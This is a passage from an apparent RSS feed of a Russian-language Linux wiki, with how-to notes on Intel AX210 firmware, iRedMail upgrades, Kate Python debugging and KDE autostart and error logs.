&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-805&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Оказалось, что поддержка этого железа в Linux появидась совсем недавно, в ядре 5.10 и для того, чтобы все заработало нужно загрузить фирмварь адаптера. &lt;br/&gt;

Для Ubuntu это можно сделать двумя путями. Либо - скачать фирмварь отсюда: &lt;a href=&quot;https://www.intel.com/content/www/us/en/support/articles/000005511/wireless.html&quot; class=&quot;urlextern&quot; title=&quot;https://www.intel.com/content/www/us/en/support/articles/000005511/wireless.html&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.intel.com/content/www/us/en/support/articles/000005511/wireless.html&lt;/a&gt; или отсюда &lt;a href=&quot;https://wireless.wiki.kernel.org/en/users/drivers/iwlwifi&quot; class=&quot;urlextern&quot; title=&quot;https://wireless.wiki.kernel.org/en/users/drivers/iwlwifi&quot; rel=&quot;ugc nofollow&quot;&gt;https://wireless.wiki.kernel.org/en/users/drivers/iwlwifi&lt;/a&gt; и распаковать его в &lt;strong&gt;/lib/firmware/&lt;/strong&gt; &lt;br/&gt;

Перезагружаемся или выполняем:  
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo rmmod iwlwifi
sudo modprobe iwlwifi&lt;/pre&gt;

&lt;p&gt;
После этих манипуляций заработал &lt;strong&gt;WiFi&lt;/strong&gt;, но не &lt;strong&gt;bluetooth&lt;/strong&gt;.
Или можно скачать все фирмвари из гита и установить:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;git clone --depth=1 git://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git
sudo cp linux-firmware/iwlwifi-*.{ucode,pnvm} /lib/firmware/&lt;/pre&gt;

&lt;p&gt;
Третий (и, возможно, более предпочтительный) вариант получения фирмвари - установить пакет &lt;strong&gt;linux-firmware&lt;/strong&gt; версии не ниже &lt;strong&gt;1.196&lt;/strong&gt; (из состава еще не вышедшей на данный момент Ubuntu 21.04) отсюда: &lt;a href=&quot;https://launchpad.net/ubuntu/+source/linux-firmware&quot; class=&quot;urlextern&quot; title=&quot;https://launchpad.net/ubuntu/+source/linux-firmware&quot; rel=&quot;ugc nofollow&quot;&gt;https://launchpad.net/ubuntu/+source/linux-firmware&lt;/a&gt; &lt;br/&gt;

После скачивания устанавливаем пакет и перезапускаем модули, обеспечивающие работу &lt;strong&gt;bluetooth&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install ~/Downloads/linux-firmware_1.196_all.deb
sudo rmmod btusb &amp;amp;&amp;amp; sudo rmmod btintel  
sudo modprobe btusb&lt;/pre&gt;

&lt;p&gt;
Однако, с новым пакетом &lt;strong&gt;linux-firmware&lt;/strong&gt; оказалось не все так просто. Я запустил &lt;strong&gt;Wifi&lt;/strong&gt;  с помощью скачаной фирмвари (без перезагрузки, путем перезапуска модуля), потом накатил новый &lt;strong&gt;linux-firmware&lt;/strong&gt; и тоже перезапустил модули.  В итоге всё заработало, но после перезагрузки пропал &lt;strong&gt;Wi-Fi&lt;/strong&gt;. Очевидно, что новый пакет &lt;strong&gt;linux-firmware&lt;/strong&gt; что-то делает с порядком загрузки модулей или фирмварей или еще с чем-то и &lt;strong&gt;Wi-Fi&lt;/strong&gt; умирает. &lt;br/&gt;

В итоге выход был найден такой. Я снес новый &lt;strong&gt;linux-firmware&lt;/strong&gt; и откатился на стандартный пакет &lt;strong&gt;linux-firmware&lt;/strong&gt; из стабильного репозитория,  затем поглядел в логах какой именной файл фирмвари пытается загрузить модуль &lt;strong&gt;btintel&lt;/strong&gt; (это оказались файлы &lt;strong&gt;intel/ibt-0041-0041.sfi&lt;/strong&gt; и &lt;strong&gt;intel/ibt-0041-0041.ddc&lt;/strong&gt;) и извлек их из пакета и положил вручную в директорию &lt;strong&gt;/lib/firmware/intel/&lt;/strong&gt;. Ну и затем еще раз скопировал в &lt;strong&gt;/lib/firmware/&lt;/strong&gt; файлы с фирмварью &lt;strong&gt;Wi-Fi&lt;/strong&gt;. В итоге - всё нормально заводится и после перезагрузок. &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
На всякий случай архив с firmware для &lt;strong&gt;Wi-Fi&lt;/strong&gt; и &lt;strong&gt;Bluetooth&lt;/strong&gt; для адаптера &lt;strong&gt;Intel AX210NGW&lt;/strong&gt; сохранил у себя - &lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/ax210ngw-firmware.tar.gz&quot; class=&quot;media mediafile mf_gz&quot; title=&quot;linux_faq:ax210ngw-firmware.tar.gz (980.9 KB)&quot;&gt;ax210ngw-firmware.tar.gz&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;806-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Sun, 27 Oct 2024 18:02:28 +0000</pubDate>
        </item>
        <item>
            <title>io_sync_progress</title>
            <link>https://wiki.autosys.tk/linux_faq/io_sync_progress</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;прогресс_команды_sync&quot;&gt;Прогресс команды sync&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Иногда нужно увидеть в каком состоянии находится процесc сброса содержимого буферов записи на диск (команда &lt;strong&gt;sync&lt;/strong&gt;). &lt;br/&gt;

Увидеть какой объем данных содержится в кешах можно так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo watch -d &amp;#039;grep -e Dirty: -e Writeback: /proc/meminfo&amp;#039;&lt;/pre&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 23 Nov 2020 10:50:49 +0000</pubDate>
        </item>
        <item>
            <title>iredmail_upgrade</title>
            <link>https://wiki.autosys.tk/linux_faq/iredmail_upgrade</link>
            <description>
&lt;p&gt;
Апгрейд с версии 0.9.5-1 до 0.9.7
&lt;/p&gt;

&lt;p&gt;
Делаем бекап. 
Пропускать релизы нельзя. То есть обновлять надо последовательно.
Ссылка на процедуру обновления для каждого релиза есть тут: &lt;a href=&quot;http://www.iredmail.org/docs/iredmail.releases.html&quot; class=&quot;urlextern&quot; title=&quot;http://www.iredmail.org/docs/iredmail.releases.html&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.iredmail.org/docs/iredmail.releases.html&lt;/a&gt;
&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;апгрейдим_iredapd&quot;&gt;Апгрейдим iRedAPD&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://www.iredmail.org/yum/misc/iRedAPD-2.1.tar.bz2
tar -xvf ./iRedAPD-2.1.tar.bz2&lt;/pre&gt;

&lt;p&gt;
Теперь нужно проверить и при необходимости заполнить файлик &lt;strong&gt;/root/.my.cnf&lt;/strong&gt; примерно так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[client]
host=127.0.0.1
port=3306
user=root
password=&amp;quot;plain_password&amp;quot;&lt;/pre&gt;

&lt;p&gt;
Данные, которые были использованы при установке можно найти в директории из которой ставися &lt;strong&gt;iRedMail&lt;/strong&gt; в файлике &lt;strong&gt;./iRedMail-0.x.x-x/iRedMail.tips&lt;/strong&gt;. 
После того, как файлик 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;bash ./iRedAPD-2.1/tools/upgrade_iredapd.sh&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0410\u043f\u0433\u0440\u0435\u0439\u0434\u0438\u043c iRedAPD&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0430\u043f\u0433\u0440\u0435\u0439\u0434\u0438\u043c_iredapd&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;363-1060&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;апгрейдим_iredadmin&quot;&gt;Апгрейдим iRedAdmin&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://www.iredmail.org/yum/misc/iRedAdmin-0.8.tar.bz2
tar -xvf ./iRedAdmin-0.8.tar.bz2 
cd iRedAdmin-0.8/tools
sudo bash ./upgrade_iredadmin.sh&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0410\u043f\u0433\u0440\u0435\u0439\u0434\u0438\u043c iRedAdmin&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0430\u043f\u0433\u0440\u0435\u0439\u0434\u0438\u043c_iredadmin&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1061-1264&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;апгрейдим_roundcubemail&quot;&gt;Апгрейдим RoundCubeMail&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://www.iredmail.org/yum/misc/roundcubemail-1.3.0-complete.tar.gz
sudo apt-get install rsync
tar -xvf ./roundcubemail-1.3.0-complete.tar.gz 
cd ./roundcubemail-1.3.0&lt;/pre&gt;

&lt;p&gt;
Смотрим где установлен roundcube. Обычно это &lt;strong&gt;/opt/www/rouncube&lt;/strong&gt;. Выполняем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo ./bin/installto.sh /opt/www/roundcubemail&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0410\u043f\u0433\u0440\u0435\u0439\u0434\u0438\u043c RoundCubeMail&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0430\u043f\u0433\u0440\u0435\u0439\u0434\u0438\u043c_roundcubemail&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1265-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>iredmail_upgrade_0.9.8_to_0.9.9</title>
            <link>https://wiki.autosys.tk/linux_faq/iredmail_upgrade_0.9.8_to_0.9.9</link>
            <description>
&lt;p&gt;
&lt;a href=&quot;https://docs.iredmail.org/upgrade.iredmail.0.9.8-0.9.9.html&quot; class=&quot;urlextern&quot; title=&quot;https://docs.iredmail.org/upgrade.iredmail.0.9.8-0.9.9.html&quot; rel=&quot;ugc nofollow&quot;&gt;https://docs.iredmail.org/upgrade.iredmail.0.9.8-0.9.9.html&lt;/a&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd ~
wget https://dl.iredmail.org/yum/misc/iRedAPD-2.4.tar.bz2
cd iRedAPD-2.4/tools/
bash ./upgrade_iredapd.sh

cd ~
wget https://dl.iredmail.org/yum/misc/iRedAdmin-0.9.4.tar.bz2
tar xjf iRedAdmin-0.9.4.tar.bz2
cd iRedAdmin-0.9.4/tools/
bash upgrade_iredadmin.sh

cd ~
wget https://github.com/roundcube/roundcubemail/releases/download/1.3.8/roundcubemail-1.3.8-complete.tar.gz
tar xvf ./roundcubemail-1.3.8-complete.tar.gz
cd roundcubemail-1.3.8
./bin/installto.sh /opt/www/roundcubemail/
&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>kate_ide_python_debug</title>
            <link>https://wiki.autosys.tk/linux_faq/kate_ide_python_debug</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;задача&quot;&gt;Задача&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Я пользуюсь Kate IDE и мне нужно настроить дебаггер для &lt;strong&gt;python&lt;/strong&gt;. &lt;br/&gt;

Мое приложение работает в &lt;strong&gt;venv&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-196&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;как_же_этого_добиться&quot;&gt;Как же этого добиться&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Устанавливаем дебаггер &lt;pre class=&quot;code&quot;&gt;sudo apt-get install python3-debugpy&lt;/pre&gt;

&lt;p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Создаем &lt;strong&gt;venv&lt;/strong&gt; (если еще не)
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;python -m venv myapp_venv&lt;/pre&gt;

&lt;p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Включаем в &lt;strong&gt;Kate&lt;/strong&gt; дебаггер-плагин - &lt;strong&gt;Settings&lt;/strong&gt; → &lt;strong&gt;Configure Kate…&lt;/strong&gt; → &lt;strong&gt;Plugins&lt;/strong&gt; → &lt;strong&gt;Kate Debugger&lt;/strong&gt; и перезапускаем &lt;strong&gt;Kate&lt;/strong&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 После перезапуска также идем &lt;strong&gt;Settings&lt;/strong&gt; → &lt;strong&gt;Configure Kate…&lt;/strong&gt; → &lt;strong&gt;Debugger&lt;/strong&gt; и в &lt;strong&gt;User Debug Adapter Settings&lt;/strong&gt; и прописываем такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;{
  &amp;quot;dap&amp;quot;: {
    &amp;quot;debugpy&amp;quot;: {
      &amp;quot;url&amp;quot;: &amp;quot;https://github.com/microsoft/debugpy&amp;quot;,
      &amp;quot;run&amp;quot;: {
        &amp;quot;command&amp;quot;: [
          &amp;quot;/home/user/myapp_venv/bin/python3.12&amp;quot;,
          &amp;quot;-m&amp;quot;,
          &amp;quot;debugpy&amp;quot;,
          &amp;quot;--listen&amp;quot;,
          &amp;quot;${#run.port}&amp;quot;,
          &amp;quot;--wait-for-client&amp;quot;
        ],
        &amp;quot;port&amp;quot;: 0,
        &amp;quot;supportsSourceRequest&amp;quot;: false
      },
      &amp;quot;configurations&amp;quot;: {
        &amp;quot;myapp venv&amp;quot;: {
          &amp;quot;commandArgs&amp;quot;: [&amp;quot;${file}&amp;quot;, &amp;quot;${args|list}&amp;quot;],
          &amp;quot;request&amp;quot;: {
            &amp;quot;command&amp;quot;: &amp;quot;attach&amp;quot;,
            &amp;quot;python&amp;quot;: &amp;quot;/home/user/myapp_venv/bin/python3.12&amp;quot;,
            &amp;quot;stopOnEntry&amp;quot;: true,
            &amp;quot;redirectOutput&amp;quot;: true
          }
        }
      }
    }
  }
}&lt;/pre&gt;

&lt;p&gt;
 Тут важно указать корректный путь к бинарнику &lt;strong&gt;python&lt;/strong&gt; в &lt;strong&gt;venv&lt;/strong&gt;.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Теперь в окне Kate внизу нажимаем кнопку &lt;strong&gt;Debug&lt;/strong&gt; (рядом с &lt;strong&gt;Search, Project, Terminal&lt;/strong&gt;), в области дебаггера жмем &lt;strong&gt;Settings&lt;/strong&gt; и выбираем &lt;strong&gt;debugpy | myapp_venv&lt;/strong&gt;. 
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Выбираем файлик скрипта, который будем дебажить - &lt;strong&gt;Executable&lt;/strong&gt; и жмем справа зелененький &lt;strong&gt;Play&lt;/strong&gt; - &amp;gt;. Песле первого нажатия - запустится дебаггер, после второго - отлаживаемый скрипт.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 В скрипте прописываем 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;import debugpy&lt;/pre&gt;

&lt;p&gt;
 и 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;debugpy.breakpoint()&lt;/pre&gt;

&lt;p&gt;
 там где надо. В итоге - скрипт будет останавливаться на строке с брейкпоинтом
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Дальше в консольке дебаггера можно писать 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;print OBJECT_NAME&lt;/pre&gt;

&lt;p&gt;
 и оно покажет показывать значения объекта с именем OBJECT_NAME в точке останова. Либо - можно прямо в коде мышом выделять имя объекта и в меню нажимать &lt;strong&gt;Debug&lt;/strong&gt; → &lt;strong&gt;Print Value&lt;/strong&gt;
&lt;/p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u0430\u043a \u0436\u0435 \u044d\u0442\u043e\u0433\u043e \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u0430\u043a_\u0436\u0435_\u044d\u0442\u043e\u0433\u043e_\u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;197-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 29 May 2025 11:01:13 +0000</pubDate>
        </item>
        <item>
            <title>kde_autostart</title>
            <link>https://wiki.autosys.tk/linux_faq/kde_autostart</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;директории_с_ярлыками_autostart&quot;&gt;Директории с ярлыками autostart&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В документации по KDE 5 - &lt;a href=&quot;https://docs.kde.org/trunk5/en/kde-workspace/kcontrol/autostart/&quot; class=&quot;urlextern&quot; title=&quot;https://docs.kde.org/trunk5/en/kde-workspace/kcontrol/autostart/&quot; rel=&quot;ugc nofollow&quot;&gt;https://docs.kde.org/trunk5/en/kde-workspace/kcontrol/autostart/&lt;/a&gt; сказано, что для автостарта используются папки: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$HOME/.config/autostart/
$HOME/.config/plasma-workspace/env
$HOME/.config/plasma-workspace/shutdown
$HOME/.config/autostart-scripts/&lt;/pre&gt;

&lt;p&gt;
При старте сессии &lt;strong&gt;KDE 4&lt;/strong&gt; просматривает содержимое следующих папок на наличие файлов &lt;strong&gt;.desktop&lt;/strong&gt;.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;~/.kde/Autostart - Эту диреторию заполянет файликами пользователь. /etc/skel/ не работает.
~/.kde/share/autostart
~/.config/autostart
~/.local/share/autostart
/etc/xdg/autostart
/usr/share/autostart**&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0414\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0441 \u044f\u0440\u043b\u044b\u043a\u0430\u043c\u0438 autostart&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438_\u0441_\u044f\u0440\u043b\u044b\u043a\u0430\u043c\u0438_autostart&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-839&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;отключение_и_приоритеты&quot;&gt;Отключение и приоритеты&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Для того чтобы включить или отключить автозапуск приложения не нужно удалять файлики &lt;strong&gt;.desktop&lt;/strong&gt;.
Для отключения автозапуска достаточно просто добавить в файл строку:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Hidden=true&lt;/pre&gt;

&lt;p&gt;
Файлы, расположенные в домашней директории пользователя (&lt;strong&gt;~/.kde/share/autostart&lt;/strong&gt; и др.)имеют более высокий приоритет, по сравнению с файлами из директории &lt;strong&gt;/usr&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0438 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u044b&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435_\u0438_\u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u044b&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;840-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>kde_debug_errors</title>
            <link>https://wiki.autosys.tk/linux_faq/kde_debug_errors</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;как_разбираться_с_ошибками_kde&quot;&gt;Как разбираться с ошибками KDE&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Для начала нужно включить вывод подробных сообщений об ошибках с помощью:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kdebugdialog&lt;/pre&gt;

&lt;p&gt;
А затем смотреть сообщения в &lt;strong&gt;~/.xsession-errors&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;tail -f ~/.xsession-errors&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u0430\u043a \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0442\u044c\u0441\u044f \u0441 \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438 KDE&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u0430\u043a_\u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0442\u044c\u0441\u044f_\u0441_\u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438_kde&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-328&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;kde_plasma_shell_закрывается&quot;&gt;KDE Plasma shell закрывается&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
После нескольких подряд сворачиваний-разворачиваний окна konsole kade plasma-shell падает.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Aug 11 10:37:02 mike-swift plasmashell[22457]: XMLHttpRequest: Using GET on a local file is dangerous and will be disabled by default in a future Qt version.Set QML_XHR_ALLOW_FILE_READ to 1 if you wish to continue using this feature.
Aug 11 10:37:02 mike-swift plasmashell[22457]: XMLHttpRequest: Using GET on a local file is dangerous and will be disabled by default in a future Qt version.Set QML_XHR_ALLOW_FILE_READ to 1 if you wish to continue using this feature.
Aug 11 10:37:02 mike-swift plasmashell[22457]: malloc(): unsorted double linked list corrupted
Aug 11 10:37:05 mike-swift systemd[2814]: plasma-plasmashell.service: Main process exited, code=killed, status=14/ALRM
Aug 11 10:37:05 mike-swift systemd[2814]: plasma-plasmashell.service: Failed with result &amp;#039;signal&amp;#039;.
Aug 11 10:37:05 mike-swift systemd[2814]: plasma-plasmashell.service: Consumed 1.888s CPU time.
Aug 11 10:37:05 mike-swift kwin_x11[3175]: qt.qpa.xcb: QXcbConnection: XCB error: 3 (BadWindow), sequence: 62612, resource id: 25165853, major code: 15 (QueryTree), minor code: 0
Aug 11 10:37:05 mike-swift kwin_x11[3175]: qt.qpa.xcb: QXcbConnection: XCB error: 3 (BadWindow), sequence: 62685, resource id: 25165884, major code: 15 (QueryTree), minor code: 0
Aug 11 10:37:06 mike-swift systemd[2814]: plasma-plasmashell.service: Scheduled restart job, restart counter is at 9.
Aug 11 10:37:06 mike-swift systemd[2814]: Stopped plasma-plasmashell.service - KDE Plasma Workspace.
Aug 11 10:37:06 mike-swift systemd[2814]: plasma-plasmashell.service: Consumed 1.888s CPU time.
Aug 11 10:37:06 mike-swift systemd[2814]: plasma-plasmashell.service: Start request repeated too quickly.
Aug 11 10:37:06 mike-swift systemd[2814]: plasma-plasmashell.service: Failed with result &amp;#039;signal&amp;#039;.
Aug 11 10:37:06 mike-swift systemd[2814]: Failed to start plasma-plasmashell.service - KDE Plasma Workspace.&lt;/pre&gt;

&lt;p&gt;
Дело оказалось в новом ядре, (6.4.9), после отката на 6.2.0 - все нормализовалось.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;KDE Plasma shell \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;kde_plasma_shell_\u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;329-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 11 Aug 2023 16:24:26 +0000</pubDate>
        </item>
        <item>
            <title>kde_default_settings_customizing</title>
            <link>https://wiki.autosys.tk/linux_faq/kde_default_settings_customizing</link>
            <description>
&lt;p&gt;
Смотрим где лежат текущие конфиги: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kde4-config --path config&lt;/pre&gt;

&lt;p&gt;
В Kubuntu они лежат тут &lt;strong&gt;/usr/share/kubuntu-default-settings/kde4-profile/default/share/config/&lt;/strong&gt;
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>kde_dolphin_mount_img_from_context_menu</title>
            <link>https://wiki.autosys.tk/linux_faq/kde_dolphin_mount_img_from_context_menu</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;удобное_монтирование_образов_блочных_устройств_в_linux&quot;&gt;Удобное монтирование образов блочных устройств в Linux&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Для удобного монтирования образов дисков (&lt;strong&gt;iso&lt;/strong&gt;, &lt;strong&gt;img&lt;/strong&gt; и прочих) с помощью контекстного меню в &lt;strong&gt;KDE&lt;/strong&gt; &lt;strong&gt;dolphin&lt;/strong&gt; я использую &lt;strong&gt;gnome-disk-utility&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt install gnome-disk-utility&lt;/pre&gt;

&lt;p&gt;
